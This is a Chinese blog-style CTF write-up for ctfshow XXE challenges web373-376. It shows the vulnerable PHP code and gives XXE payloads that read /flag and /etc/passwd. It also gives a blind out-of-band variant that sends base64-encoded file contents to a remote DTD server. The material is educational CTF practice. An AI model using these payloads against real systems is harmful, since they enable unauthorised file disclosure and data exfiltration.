ctfshow web入门 XXE

web373

在这里插入图片描述
题目是这样的,我看的似懂非懂的

// 允许加载外部实体
libxml_disable_entity_loader(false);
// xml文件来源于数据流
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
  	// 加载xml实体,参数为替代实体、加载外部子集
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  	// 把 DOM 节点转换为 SimpleXMLElement 对象
    $creds = simplexml_import_dom($dom);
  	// 节点嵌套
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}

payload:

[POST]Payload:

<?xml version="1.0"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY>
<!ENTITY xxe SYSTEM "file:///flag">
]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>

在这里插入图片描述

记得用bp别用hackbar
可以先看看这篇R1师傅的xxe原理介绍
然后再参考这篇解题过程
我感觉得看看xml语法,再来做题,先到这了
整明白了我来分析一下

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
//这个productid要填xml实体的名称
    <productId>&xxe;</productId>
</stockCheck>

这个productid要填xml实体的名称
然后上面那个!DOCTYPE这个地方意思是
外部实体的声明使用SYSTEM关键字,并且必须指定应从中加载实体值的URL。
例如:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

URL可以使用file://协议,因此可以从文件加载外部实体
例如:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

这是最基础的一题,没有过滤,应该可以当例题

web374-376

在这里插入图片描述

没有echo了,不回显了
要把读取到的内容也就是flag传到远程服务器查看
vps 上搭建服务器 创建文件text.dtd
在这里插入图片描述
然后payload:

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xxx/text.dtd">
%aaa;
]>
<root>123</root>

然后监听9999端口
在这里插入图片描述
base64编码后即可得到flag

web 377

打把联盟先羽师傅的也挺好

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值